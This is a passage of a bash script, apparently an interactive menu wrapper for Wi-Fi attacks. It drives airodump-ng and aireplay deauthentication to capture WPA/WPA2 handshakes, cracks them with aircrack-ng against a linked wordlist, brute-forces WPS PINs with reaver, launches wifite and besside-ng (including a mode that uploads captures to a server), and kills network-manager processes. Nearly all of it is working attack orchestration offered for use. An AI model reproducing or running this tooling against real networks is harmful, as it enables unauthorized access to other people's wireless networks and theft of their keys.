sleep 4

banner
bannerStats

echo ""
echo "You need darkc0de.lst to crack the key, or another list:"
echo ""
echo "Mirror (Direct):"
echo "https://drive.google.com/file/d/0B-c-aPfOv8-SOHA0QVRiOE5tRVk/edit?usp=sharing"
echo ""
echo ""
echo "You may press C and ENTER to load a custom list"
echo ""
echo ""
echo "Another Example Wordlist Collection:"
echo "https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm"
echo ""
echo ""
echo "You may also press B and ENTER to run a besside-ng attack"
echo ""
echo ""
echo "Press ENTER once you have a list file in the same directory as the script"
echo ""
echo ""

read tmpPause

case "$tmpPause" in

"")
$terminal aircrack-ng -w $wordlist -b $bssid *.cap
;;

"C" | "c")
getCustomList
;;

"B" | "b")
bessideMain
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

esac

banner
bannerStats

#echo ""
#echo ""
#echo ""
#echo "FOUND KEY: "
echo ""
echo "WPA Attack Is Currently Running!"
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
echo ""
echo ""
echo "Press ENTER to restart attack or use an option from Top Navigation Bar...."
echo ""
echo ""
echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
echo ""
echo ""

read acPause

case "$acPause" in

"")
killAll
menuAttacksWPA
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

esac

}


captureHandshakeWPA(){

currentTask="captureHandshakeWPA"
lastMenuID="captureHandshakeWPA"

banner
bannerStats

echo ""
echo "The airodump window is open. Look in top right hand corner for the handshake"
echo ""
echo "Once handshake is complete, you may close the airodump window."
echo ""
echo ""
echo "Example: [ WPA handshake: $bssid ]"
echo ""
echo ""
echo ""
echo "To force another DEAUTH for HANDSHAKE press D and ENTER!"
echo ""
echo ""
echo ""
echo ""
echo "Press ENTER to continue once handshake is made...."
echo ""
echo ""

read captureHandshake

case "$captureHandshake" in

"")
killAirodump
killAireplay

sleepMessage="Preparing capture files for aircrack-ng...."
doSleepMessage
sleep 2

aircrackDecrypt
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"D" | "d")
retryDeauth="1"
menuAttacksWPA
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
menuAttacksWPA
;;

esac

}


menuAttacksWPAWifiteAuto(){

currentTask="menuAttacksWPAWifiteAuto"
lastMenuID="menuAttacksWPAWifiteAuto"

killAll

#$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
$terminal $wifiteAttackWPA &

banner
bannerStats

echo ""
echo "The wifite session should be launched in a separate window."
echo ""
echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
echo ""
echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
echo ""

read pause

killAll
menuAuto

}


############################################################################
#   ATTACKS: WPA END   #####################################################
############################################################################





############################################################################
#   ATTACKS: WPA2 BEGIN   ##################################################
############################################################################


autoModeNoPreviousSessionWPA2(){

currentTask="autoModeNoPreviousSessionWPA2"

adAPScanNoChannel

sleepMessage="Setting Up User Input...."
doSleepMessage
sleep 2

getESSID
getBSSID
getChannel

sessionWriteBeginNew
sessionCopyNewCaptureFiles

sleepMessage="Killing Airodump Window...."
doSleepMessage
sleep 2


killAirodump

menuAttacksWPA2

echo ""
echo ""
echo "Press any key to continue...."
echo ""
echo ""

read pause

}


autoModeUsePreviousSessionWPA2(){

currentTask="autoModeUsePreviousSessionWPA2"

sessionWriteLoadPrevious

menuAttacksWPA2

echo ""
echo ""
echo "Press any key to continue...."
echo ""
echo ""

read pause

}


menuAttacksWPA2(){

currentTask="menuAttacksWPA2"

banner
bannerStats

# Only run a deauth with default text and settings if not re-forced through menu
case "$retryDeauth" in

"0")
killAll

adFileDump

sleepMessage="Preparing to Capture WPA Handshake...."
doSleepMessage
sleep 2

arAttackDeAuth
captureHandshakeWPA2
;;

"1")
sleepMessage="Preparing to De-Authenticate All Connected Stations...."
doSleepMessage
sleep 1
arAttackDeAuthOnRetry
captureHandshakeWPA2
;;
esac

}


adFileDumpWPA2(){

currentTask="adFileDumpWPA2"

sleepMessage="Preparing to Capture WPA Handshake...."
doSleepMessage
sleep 3

disableChannelHopping

$terminal airodump-ng $interfaceMonitor --bssid $bssid --channel $channel --write "dump_$essid"

echo ""
echo ""

}


adFileDumpNoChannelWPA2(){

currentTask="adFileDumpNoChannelWPA2"

echo ""
echo ""

$terminal airodump-ng -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &

#Working (uses session path)
#$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid -i $interfaceMonitor &

echo ""
echo ""

}


aircrackDecryptWPA2(){

currentTask="aircrackDecryptWPA2"
lastMenuID="aircrackDecryptWPA2"

banner
bannerStats


sleepMessage="Preparing captured handshake for aircrack-ng...."
doSleepMessage
sleep 4

banner
bannerStats

echo ""
echo "You need darkc0de.lst to crack the key, or another list:"
echo ""
echo "Mirror (Direct):"
echo "https://drive.google.com/file/d/0B-c-aPfOv8-SOHA0QVRiOE5tRVk/edit?usp=sharing"
echo ""
echo ""
echo "You may press C and ENTER to load a custom list"
echo ""
echo ""
echo "Another Example Wordlist Collection:"
echo "https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm"
echo ""
echo ""
echo "You may also press B and ENTER to run a besside-ng attack"
echo ""
echo ""
echo "Press ENTER once you have a list file in the same directory as the script"
echo ""
echo ""

read tmpPause

case "$tmpPause" in

"")
$terminal aircrack-ng -w $wordlist -b $bssid *.cap
;;

"C" | "c")
getCustomList
;;

"B" | "b")
bessideMain
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

esac

banner
bannerStats

#echo ""
#echo ""
#echo ""
#echo "FOUND KEY: "
echo ""
echo "WPA2 Attack Is Currently Running!"
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
echo ""
echo ""
echo "Press ENTER to restart attack or use an option from Top Navigation Bar...."
echo ""
echo ""
echo "*** WARNING! RESTARTING THE ATTACK WILL ALSO TERMINATE THE AIRCRACK WINDOW! ***"
echo ""
echo ""

read acPause

case "$acPause" in

"")
killAll
menuAttacksWPA2
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"A" | "a")
menuAdvanced
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

esac

}


captureHandshakeWPA2(){

currentTask="captureHandshakeWPA2"
lastMenuID="captureHandshakeWPA2"

banner
bannerStats

echo ""
echo "The airodump window is open. Look in top right hand corner for the handshake"
echo ""
echo "Once handshake is complete, you may close the airodump window."
echo ""
echo ""
echo "Example: [ WPA handshake: $bssid ]"
echo ""
echo ""
echo ""
echo "To force another DEAUTH for HANDSHAKE press D and ENTER!"
echo ""
echo ""
echo ""
echo ""
echo "Press ENTER to continue once handshake is made...."
echo ""
echo ""

read captureHandshake

case "$captureHandshake" in

"")
killAirodump
killAireplay

sleepMessage="Preparing capture files for aircrack-ng...."
doSleepMessage
sleep 2

aircrackDecrypt
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"D" | "d")
retryDeauth="1"
menuAttacksWPA2
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
menuAttacksWPA2
;;

esac

}


menuAttacksWPA2WifiteAuto(){

currentTask="menuAttacksWPA2WifiteAuto"
lastMenuID="menuAttacksWPA2WifiteAuto"

killAll

#$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
$terminal $wifiteAttackWPA2 &

banner
bannerStats

echo ""
echo "The wifite session should be launched in a separate window."
echo ""
echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
echo ""
echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
echo ""

read pause

killAll
menuAuto

}


############################################################################
#   ATTACKS: WPA2 END   ####################################################
############################################################################





############################################################################
#   ATTACKS: WPS BEGIN   ###################################################
############################################################################


autoModeNoPreviousSessionWPS(){

currentTask="autoModeNoPreviousSessionWPS"

adAPScanWifiteWPSNoChannel
adAPScanNoChannel

sleepMessage="Setting Up User Input...."
doSleepMessage
sleep 2

getESSID
getBSSID
getChannel

sessionWriteBeginNew
sessionCopyNewCaptureFiles

sleepMessage="Killing Airodump Window...."
doSleepMessage
sleep 2


killAirodump
killWifite

getBSSIDCharOnly
reaverSaveAllSessionFiles

menuAttacksWPS

}


autoModeUsePreviousSessionWPS(){

currentTask="autoModeUsePreviousSessionWPS"

sessionWriteLoadPrevious

menuAttacksWPS

}


menuAttacksWPS(){

currentTask="menuAttacksWPS"


sleepMessage="Preparing Reaver Session...."
doSleepMessage
sleep 1

killAirodump

disableChannelHopping

sleepMessage="Preparing Reaver Session...."
doSleepMessage
sleep 1

sleepMessage="Launching Reaver Session...."
doSleepMessage
sleep 2

banner
bannerStats

sleepMessage="Reaver Session Active!"
doSleepMessage
echo ""
echo "Press CTRL+C At Any Time To Stop Current Session and Save"
sleep 2

$reaver -i $interfaceMonitor -b $bssid -c $channel -S -vv

echo ""
echo ""
echo "Your reaver session has been saved!"
echo ""
echo ""
echo ""
echo ""
echo "If the key is available, now would be a good time to do the following:"
echo ""
echo "1) Write down the WPA/WPA2 key and/or WPS pin"
echo ""
echo "2) Take a picture of the screen to keep a record of the keys"
echo ""
echo ""
echo ""
echo ""
echo "Press ENTER to continue...."
echo ""
echo ""

getBSSIDCharOnly
reaverSaveCurrentSessionFile

read pause

}


menuAttacksWPSWifiteAuto(){

currentTask="menuAttacksWPSWifiteAuto"
lastMenuID="menuAttacksWPSWifiteAuto"

killAll

#$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
$terminal $wifiteAttackWPS &

banner
bannerStats

echo ""
echo "The wifite session should be launched in a separate window."
echo ""
echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
echo ""
echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
echo ""

read pause

echo ""
echo ""
echo "Your wifite session has been saved!"
echo ""
echo ""
echo ""
echo ""
echo "If the key is available, now would be a good time to do the following:"
echo ""
echo "1) Write down the WPA/WPA2 key and/or WPS pin"
echo ""
echo "2) Take a picture of the screen to keep a record of the keys"
echo ""
echo ""
echo ""
echo ""
echo "Press ENTER to continue...."
echo ""
echo ""

killAll
menuAuto

read pause

}


aircrackDecryptWPS(){

# NOT ACTUALLY USED FOR WPS ATTACK

currentTask="aircrackDecryptWPS"

blank=""

}


reaverSaveCurrentSessionFile(){

currentTask="reaverSaveCurrentSessionFile"

if [ "$bssidCharOnly" != "" ];then

cp $reaverSessionPath/$bssidCharOnly.wpc "$capturePathWPS"

fi

}


reaverSaveAllSessionFiles(){

currentTask="reaverSaveCurrentSessionFile"

if [ "$bssidCharOnly" != "" ];then

cp ../../$reaverSessionPath/*.wpc "$capturePathWPS"

fi

}


############################################################################
#   ATTACKS: WPS END   #####################################################
############################################################################




############################################################################
#   ATTACKS: UNIVERSAL BEGIN   #############################################
############################################################################

menuAttacksAllWifiteAuto(){

currentTask="menuAttacksAllWifiteAuto"
lastMenuID="menuAttacksAllWifiteAuto"

killAll

$terminal $wifiteAttackAll &

banner
bannerStats

echo ""
echo "The wifite session should be launched in a separate window."
echo ""
echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
echo ""
echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
echo ""

read pause

killAll
menuMain

}



############################################################################
#   ATTACKS: UNIVERSAL END   ###############################################
############################################################################




############################################################################
#   BESSIDE-NG STUFF BEGIN   ###############################################
############################################################################


bessideMain(){

currentTask="bessideMain"

banner
bannerStats

echo ""
echo "Select a mode and press ENTER:"
echo ""
echo ""
echo "1) Normal"
echo ""
echo "2) WPA Only"
echo ""
echo "3) Upload"
echo ""
echo "4) Set Flood Rate"
echo ""
echo "5) Return To Previous Menu"
echo ""
echo ""

read getBessideMode

case "$getBessideMode" in

"")
bessideMain
;;

"1")
bessideNormal
;;

"2")
bessideWPAOnly
;;

"3")
bessideUpload
;;

"4")
bessideSetFloodRate
;;

"5")
$lastMenuID
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"S" | "s")
menuSessionSave
;;

"A" | "a")
menuAdvanced
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
bessideMain
;;

esac

}


bessideNormal(){

currentTask="bessideNormal"

$terminal besside-ng -b $bssid -c $channel -vv $interfaceMonitor

}


bessideUpload(){

currentTask="bessideUpload"

$terminal besside-ng -b $bssid -c $channel -s $serverWPA -vv $interfaceMonitor

}


bessideWPAOnly(){

currentTask="bessideWPAOnly"

$terminal besside-ng -b $bssid -c $channel -W -vv $interfaceMonitor

}


bessideSetFloodRate(){

currentTask="bessideSetFloodRate"

bessideFloodRate=""

}


############################################################################
#   BESSIDE-NG STUFF END   #################################################
############################################################################




############################################################################
#   POST EXPLOITATION BEGIN   ##############################################
############################################################################






############################################################################
#   POST EXPLOITATION END   ################################################
############################################################################




############################################################################
#   PROCESS MANAGEMENT BEGIN   #############################################
############################################################################


killProcesses(){

currentTask="killProcesses"

killall NetworkManager
killall NetworkManagerDispatcher
#killall wpa_supplicant
#killall avahi-daemon

}


restartProcesses(){

currentTask="restartProcesses"

#killall NetworkManager
NetworkManager

#killall NetworkManagerDispatcher
NetworkManagerDispatcher

#wpa_supplicant
#avahi-daemon

}


killWifite(){

currentTask="killWifite"

findWifitePID=$(ps -A | grep "wifite" | head -c5)
killWifiteTemp=$(kill $findWifitePID)

}


killAirodump(){

currentTask="killAirodump"

findAirodumpPID=$(ps -A | grep "airodump-ng" | head -c5)
killAirodumpTemp=$(kill $findAirodumpPID)
killAirodumpTemp=$(killall airodump-ng)

}


killAireplay(){

currentTask="killAireplay"

findAireplayPID=$(ps -A | grep "aireplay-ng" | head -c5)
killAireplayTemp=$(kill $findAireplayPID)

}


killAircrack(){

currentTask="killAircrack"

findAircrackPID=$(ps -A | grep "aircrack-ng" | head -c5)
killAircrackTemp=$(kill $findAircrackPID)

}


killAll(){

killAirodump
killAireplay
killAircrack
killWifite

}


############################################################################
#   PROCESS MANAGEMENT END   ###############################################
############################################################################





############################################################################
#   SESSION LOG STUFF BEGIN   ##############################################
############################################################################


cleanSessionFiles(){

currentTask="cleanSessionFiles"

banner
echo ""
echo "Checking Network Status...."
echo ""
echo ""

rm "$capturePath/wep/wep.sessions"
rm "$capturePath/wps/wps.sessions"
rm "$capturePath/wpa/wpa.sessions"
rm "$capturePath/wpa2/wpa2.sessions"

banner
echo ""
echo "Checking Network Status...."
echo ""
echo ""

}


backupSessionFiles(){

currentTask="backupSessionFiles"

zip -9 -r sessions-backup-$displayDate3.zip sessions

}


sessionWriteBeginNew(){

currentTask="sessionWriteBeginNew"

getCurrentDateAndTime

echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "***** Begin New Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"

}


sessionWriteLoadPrevious(){

currentTask="sessionWriteLoadPrevious"

getCurrentDateAndTime

echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "***** Load Previous Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"

}


sessionWriteEndCurrent(){

currentTask="sessionWriteEndCurrent"

getCurrentDateAndTime

echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "***** End Current Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"

}


sessionRemoveEmpty(){

currentTask="sessionRemoveEmpty"

banner
echo ""
echo "Checking Network Status...."
echo ""
echo ""

rm "$capturePath/$encryptionType/empty.sessions"
rmdir "$capturePath/empty"

banner
echo ""
echo "Checking Network Status...."
echo ""
echo ""

}


sessionCreatePaths(){

getBSSIDCharOnly

mkdir "$capturePath"
mkdir "$capturePath/$encryptionType/"

}


sessionCopyNewCaptureFiles(){

cp *.cap "$capturePath/$encryptionType"
cp *.ivs "$capturePath/$encryptionType"
cp *.xor "$capturePath/$encryptionType"
cp *.csv "$capturePath/$encryptionType"
cp *.netxml "$capturePath/$encryptionType"

}


sessionSave(){

currentTask="sessionSave"

getCurrentDateAndTime

echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "***** Save Current Session - $displayDateAndTime *****" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "Encryption: $encryptionTypeText" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "ESSID: $essid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "BSSID: $bssid" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "Channel: $channel" >> "$capturePath/$encryptionType/$encryptionType.sessions"
echo "" >> "$capturePath/$encryptionType/$encryptionType.sessions"

}


sessionLoad(){

banner
bannerStats

currentTask="sessionLoad"

while read line           
do           
    echo -e "$line \n"           
done <"$capturePath/$encryptionType/$encryptionType.sessions"

echo ""
echo ""
echo ""
echo "Scroll up to see all loaded sessions."
echo ""
echo ""
echo ""
echo "Press ENTER to continue...."
echo ""
echo ""

read pause

}


############################################################################
#   SESSION LOG STUFF END   ################################################
############################################################################





############################################################################
#   EMPTY VARIABLE CHECKS BEGIN   ##########################################
############################################################################


checkForEmptyEncrytionType(){

currentTask="checkForEmptyEncrytionType"

if [ "$encryptionType" == "empty" ];then

banner
bannerStats

echo ""
echo "There is currently no Encryption Type selected!"
echo ""
echo ""
echo "Press ENTER to return to main menu...."
echo ""
echo ""

read pause

menuMain
fi

}


checkForEmptyBSSID(){

currentTask="checkForEmptyBSSID"

if [ "$bssid" == "" ];then

banner
bannerStats

echo ""
echo "There is currently no BSSID saved in the previous session!"
echo ""
echo ""
echo "Press ENTER to return to previous menu...."
echo ""
echo ""

read pause

$lastMenuID
fi

}


checkForEmptyESSID(){

currentTask="checkForEmptyESSID"

if [ "$essid" == "" ];then

banner
bannerStats

echo ""
echo "There is currently no ESSID saved in the previous session!"
echo ""
echo ""
echo "Press ENTER to return to previous menu...."
echo ""
echo ""

read pause

$lastMenuID
fi

}


checkForEmptyChannel(){

currentTask="checkForEmptyChannel"

if [ "$channel" == "" ];then

banner
bannerStats

echo ""
echo "There is currently no CHANNEL saved in the previous session!"
echo ""
echo ""
echo "Press ENTER to return to previous menu...."
echo ""
echo ""

read pause

$lastMenuID
fi

}


############################################################################
#   EMPTY VARIABLE CHECKS END   ############################################
############################################################################





############################################################################
#   MISC STUFF BEGIN   #####################################################
############################################################################


getWirelessInterfaces(){

currentTask="getWirelessInterfaces"

interface=$(ifconfig | grep "wlan" | head -c 5)
interfaceMonitor=$(ifconfig | grep "mon" | head -c 4)

}


cleanCaptureFiles(){

currentTask="cleanCaptureFiles"

rm *.cap
rm *.ivs
rm *.xor
rm *.csv
rm *.netxml

}


getCustomList(){

banner
bannerStats

currentTask="getCustomList"

echo ""
echo "Enter the path to the list and press ENTER:"
echo ""
echo ""
echo "Example: /pentest/wordlists/dictionary1.txt"
echo ""
echo ""


read tmpCustomList

case "$tmpCustomList" in

"")
getCustomList
;;

*)
wordlist="$tmpCustomList"
;;

esac

}


getBSSIDCharOnly(){

currentTask="getBSSIDCharOnly"

if [ "$bssid" != "" ];then

bssidCharOnly=$(echo $bssid | sed 's/[\:]//g')


fi

}


getCurrentDate(){

displayDate=$(date +"%D")
displayDate2=$(date +"%Y-%m-%d")
displayDate3=$(date +"%Y%m%d")

}


getCurrentTime(){

displayTime=$(date +"%T")

}


getCurrentDateAndTime(){

displayDateAndTime=$(date +"%D - %T")
displayDateAndTime2=$(date +"%Y%m%d / %T")
displayDateAndTime3=$(date +"%Y-%m-%d / %T")

}


fixNegativeOneChannelError(){

airmon-ng check kill

}

startNetworkManager(){

NetworkManager

}

killNetworkManager(){

currentPID=$(ps -A | grep NetworkManager | cut -c 1-5)
killTask=$(kill $currentPID)

#echo "$currentPID"
#echo "$killTask"

#read pause

}

killWpaSupplicant(){

#currentPID=$(ps -A | grep wpa_supplicant | cut -c 1-5)
#killTask=$(kill $currentPID)

killall wpa_supplicant

#echo "$currentPID"
#echo "$killTask"

#read pause

}

disableChannelHopping(){

sleep 1
ifconfig $interface down

}

enableChannelHopping(){

sleep 1
ifconfig $interface up

}


############################################################################
#   MISC STUFF END   #######################################################
############################################################################





############################################################################
#   INITIAL LAUNCH BEGIN   #################################################
############################################################################


initMain

############################################################################
#   INITIAL LAUNCH END   ###################################################
############################################################################







